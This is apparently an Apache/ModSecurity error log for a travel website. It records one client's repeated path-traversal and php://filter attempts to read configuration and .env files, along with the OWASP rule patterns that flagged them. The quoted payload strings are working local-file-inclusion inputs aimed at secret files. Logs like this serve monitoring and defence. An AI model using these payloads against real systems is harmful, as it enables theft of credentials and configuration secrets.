[Fri Jul 17 08:55:08.037777 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglFh1WDijTxd1xw5MIQAAAAc"]
[Fri Jul 17 08:55:08.040273 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglFh1WDijTxd1xw5MIQAAAAc"]
[Fri Jul 17 08:55:08.040886 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:08.047470 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglFh1WDijTxd1xw5MIQAAAAc"]
[Fri Jul 17 08:55:08.744257 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgjxJ0z2bEtnOrIXVARgAAAAk"]
[Fri Jul 17 08:55:08.946582 2026] [ssl:error] [pid 2030803:tid 2030803] (70014)End of file found: [client 66.85.158.91:58090] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:09.750423 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:58118] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:09.772493 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgj0kXT4NBqALj2lZ8dAAAABA"]
[Fri Jul 17 08:55:10.104432 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:58150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:10.735322 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgll1_86A5R6msWNfUcwAAABI"]
[Fri Jul 17 08:55:10.735452 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=qQ5eLqtMVPrIZTJvEwaVfkluIJZShpvCzIsqCWCnn7ZuBm85VkLVB6RzzSFquQXkoySpmrMwu_7oX2mAHYbVHA8HLNySVEFZW6AVSNh8MtHKGNTBStUzz2TLVWu2uDCE7xdGAID0q0MUyjIjsy5kFtstSMBIC3p1BC-D1_hAiuLXOW6RbIme5seSFhhMchznbAJ_1X9RdMbBkfsH7U9ncacqSXy9HKSxB4o25Wq2mNI3ozI5_1LEaM6nzeg0-JJr1PUMNboZiZG22tmMfK6DeE1B&anything=6PY5K4BMWRTTXZVSPXIYONFM6F33VYRI2TKFAE45GX6FEGQP6EXS4Y6Q44F7T3V5WXKP67WXDWPKN2N..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.735523 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.735610 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.base64-encode/resource=../../.env&ts=qQ5eLqtMVPrIZTJvEwaVfkluIJZShpvCzIsqCWCnn7ZuBm85VkLVB6RzzSFquQXkoySpmrMwu_7oX2mAHYbVHA8HLNySVEFZW6AVSNh8MtHKGNTBStUzz2TLVWu2uDCE7xdGAID0q0MUyjIjsy5kFtstSMBIC3p1BC-D1_hAiuLXOW6RbIme5seSFhhMchznbAJ_1X9RdMbBkfsH7U9ncacqSXy9HKSxB4o25Wq2mNI3ozI5_1LEaM6nzeg0-JJr1PUMNboZiZG22tmMfK6DeE1B&anything=6PY5K4BMWRTTXZVSPXIYONFM6F33VYRI2TKFAE45GX6FEGQP6EXS4Y6Q44F7T3V5WXKP67WXDWPKN2NHMHYZXY3OQLIYCEBOH4HB44U..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.735697 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.base64-encode/resource=../../.env&ts=qq5elqtmvpriztjvewavfkluijzshpvczisqcwcnn7zubm85vklvb6rzzsfquqxkoyspmrmwu_7ox2mahybvha8hlnysvefzw6avsnh8mthkgntbstuzz2tlvwu2udce7xdgaid0q0muyjijsy5kftstsmbic3p1bc-d1_haiulxow6rbime5sesfhhmchznbaj_1x9rdmbbkfsh7u9ncacqsxy9hksxb4o25wq2mni3ozi5_1leam6nzeg0-jjr1pumnbozizg22tmmfk6dee1b&anything=6py5k4bmwrttxzvspxiyonfm6f33vyri2tkfae45gx6fegqp6exs4y6q44f7t3v5wxkp67wxdwpkn2nhmhyzxy3oqliyceboh4hb44u..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.735738 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.735783 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PkQAAABk"]
[Fri Jul 17 08:55:10.736375 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&ts=qdpqTSo6dC-8rzSAZ21GautYp2IneI_4MduGCF-6y0n3F9sGn-qii0QDgWYmiD95goH1aEoTlUoKb30ebVRl77CoMxK-YLQTj3WgY-B4t73TaAAdQVHY0xUXvo2PfZ-ihDU-QXsbuagQBZg_QyOQ4mEm6ltFeK3EsB-P0Tyq8pqSt-p4eXfZBgzRBKweCxPks6uWFHxqNYcvd0wSRW8Gc_futm3vLZRQ6snXCg1C1IhRk5BlgnC5IqPvE-du58nQh8PWySelWtAcx9vT5LYQzzG5&debug=GDN7XATUK52W4BGJ7LXOKNP2LF362NVVIBYQGWZBRLXFMYVPDLK5QFSZZWXOCTXNZUPKAM34WPVKOB..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:10.736450 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:10.736550 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&ts=qdpqTSo6dC-8rzSAZ21GautYp2IneI_4MduGCF-6y0n3F9sGn-qii0QDgWYmiD95goH1aEoTlUoKb30ebVRl77CoMxK-YLQTj3WgY-B4t73TaAAdQVHY0xUXvo2PfZ-ihDU-QXsbuagQBZg_QyOQ4mEm6ltFeK3EsB-P0Tyq8pqSt-p4eXfZBgzRBKweCxPks6uWFHxqNYcvd0wSRW8Gc_futm3vLZRQ6snXCg1C1IhRk5BlgnC5IqPvE-du58nQh8PWySelWtAcx9vT5LYQzzG5&debug=GDN7XATUK52W4BGJ7LXOKNP2LF362NVVIBYQGWZBRLXFMYVPDLK5QFSZZWXOCTXNZUPKAM34WPVKOBUZFH6EQPCC4OEXN5WC5B2QBW..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:10.736633 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&ts=qdpqtso6dc-8rzsaz21gautyp2inei_4mdugcf-6y0n3f9sgn-qii0qdgwymid95goh1aeotluokb30ebvrl77comxk-ylqtj3wgy-b4t73taaadqvhy0xuxvo2pfz-ihdu-qxsbuagqbzg_qyoq4mem6ltfek3esb-p0tyq8pqst-p4exfzbgzrbkwecxpks6uwfhxqnycvd0wsrw8gc_futm3vlzrq6snxcg1c1ihrk5blgnc5iqpve-du58nqh8pwyselwtacx9vt5lyqzzg5&debug=gdn7xatuk52w4bgj7lxoknp2lf362nvvibyqgwzbrlxfmyvpdlk5qfszzwxoctxnzupkam34wpvkobuzfh6eqpcc4oexn5wc5b2qbw..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:10.736699 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:10.736751 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:10.736818 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgll1_86A5R6msWNfUcwAAABI"]
[Fri Jul 17 08:55:10.737237 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:file: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhJ0z2bEtnOrIXVASAAAAAk"]
[Fri Jul 17 08:55:10.737574 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&file=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&sid=4CYjBkZ0G2ZcG6dqe0xlcBdYu2yedZQm5Bvda_l0NSqX0Ik12lUoN1ZmYFc6u0kEi1rPR3cgpXpj_s2RrTO4p8hinlyqyxGX_16vDKMnwAnF7ihToAFFRzTQax06cgfOxsGjzvGU9YzDQW5cOvMtuZowyYX0Qiclln_4eDJ8qwqHPEpQf9D2ESOX0zs1xzzzB81ctD2kO5fxl5H_BxNUHk_3_SDdRkGAYBc6jwF496h0m-y9qscMlCU6BdxyIryeAzgXWPPlWroSFISJ02ToMNAn&token=MUM3CONN7FSR6MBSA6VAD23UOT52P5DW5SKXVKUAVZT6HU7XJD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
[Fri Jul 17 08:55:10.737611 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:file: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
[Fri Jul 17 08:55:10.737678 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&sid=4CYjBkZ0G2ZcG6dqe0xlcBdYu2yedZQm5Bvda_l0NSqX0Ik12lUoN1ZmYFc6u0kEi1rPR3cgpXpj_s2RrTO4p8hinlyqyxGX_16vDKMnwAnF7ihToAFFRzTQax06cgfOxsGjzvGU9YzDQW5cOvMtuZowyYX0Qiclln_4eDJ8qwqHPEpQf9D2ESOX0zs1xzzzB81ctD2kO5fxl5H_BxNUHk_3_SDdRkGAYBc6jwF496h0m-y9qscMlCU6BdxyIryeAzgXWPPlWroSFISJ02ToMNAn&token=MUM3CONN7FSR6MBSA6VAD23UOT52P5DW5SKXVKUAVZT6HU7XJDMBW4GN4FZ7GV7IL34K6RDASVN5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
[Fri Jul 17 08:55:10.737718 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&file=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&sid=4cyjbkz0g2zcg6dqe0xlcbdyu2yedzqm5bvda_l0nsqx0ik12luon1zmyfc6u0kei1rpr3cgpxpj_s2rrto4p8hinlyqyxgx_16vdkmnwanf7ihtoaffrztqax06cgfoxsgjzvgu9yzdqw5covmtuzowyyx0qiclln_4edj8qwqhpepqf9d2esox0zs1xzzzb81ctd2ko5fxl5h_bxnuhk_3_sddrkgaybc6jwf496h0m-y9qscmlcu6bdxyiryeazgxwpplwrosfisj02tomnan&token=mum3conn7fsr6mbsa6vad23uot52p5dw5skxvkuavzt6hu7xjdmbw4gn4fz7gv7il34k6rdasvn5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MJAAAAAc"]
